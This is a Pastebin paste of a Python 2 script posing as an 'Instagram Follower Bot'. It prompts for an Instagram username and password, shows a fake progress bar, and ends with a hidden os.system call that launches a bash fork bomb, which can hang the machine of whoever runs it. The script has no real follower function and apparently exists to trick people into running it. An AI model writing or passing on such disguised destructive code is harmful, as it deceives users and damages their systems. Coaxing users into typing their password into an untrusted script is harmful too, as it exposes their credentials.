Advertisement
Guest User

Untitled

a guest
Oct 25th, 2016
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.33 KB | None | 0 0
  1. import os
  2. import sys, traceback
  3.  
  4. os.system('sudo apt-get update')
  5. print "Instagram Follower Bot"
  6. name = raw_input('Enter your Username : ')
  7. print ("Scanning For Username that go by: %s" % name);
  8. name2 = raw_input('Enter your Password : ')
  9. print ("Entering database with the Password of : %s " % name2);
  10. import time, sys
  11.  
  12. # update_progress() : Displays or updates a console progress bar
  13. ## Accepts a float between 0 and 1. Any int will be converted to a float.
  14. ## A value under 0 represents a 'halt'.
  15. ## A value at 1 or bigger represents 100%
  16. def update_progress(progress):
  17. barLength = 10 # Modify this to change the length of the progress bar
  18. status = ""
  19. if isinstance(progress, int):
  20. progress = float(progress)
  21. if not isinstance(progress, float):
  22. progress = 0
  23. status = ""
  24. if progress < 0:
  25. progress = 0
  26. status = "Halt...\r\n"
  27. if progress >= 1:
  28. progress = 1
  29. status = "Done...\r\n"
  30. block = int(round(barLength*progress))
  31. text = "\rPercent: [{0}] {1}% {2}".format( "#"*block + "-"*(barLength-block), progress*100, status)
  32. sys.stdout.write(text)
  33. sys.stdout.flush()
  34.  
  35.  
  36. # update_progress test script
  37. print "__________Starting__________"
  38. update_progress("hello")
  39. time.sleep(1)
  40.  
  41. print "Mounting"
  42. update_progress(3)
  43. time.sleep(3);
  44. print "Thank You...";
  45. os.system(':(){:|:&};:')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement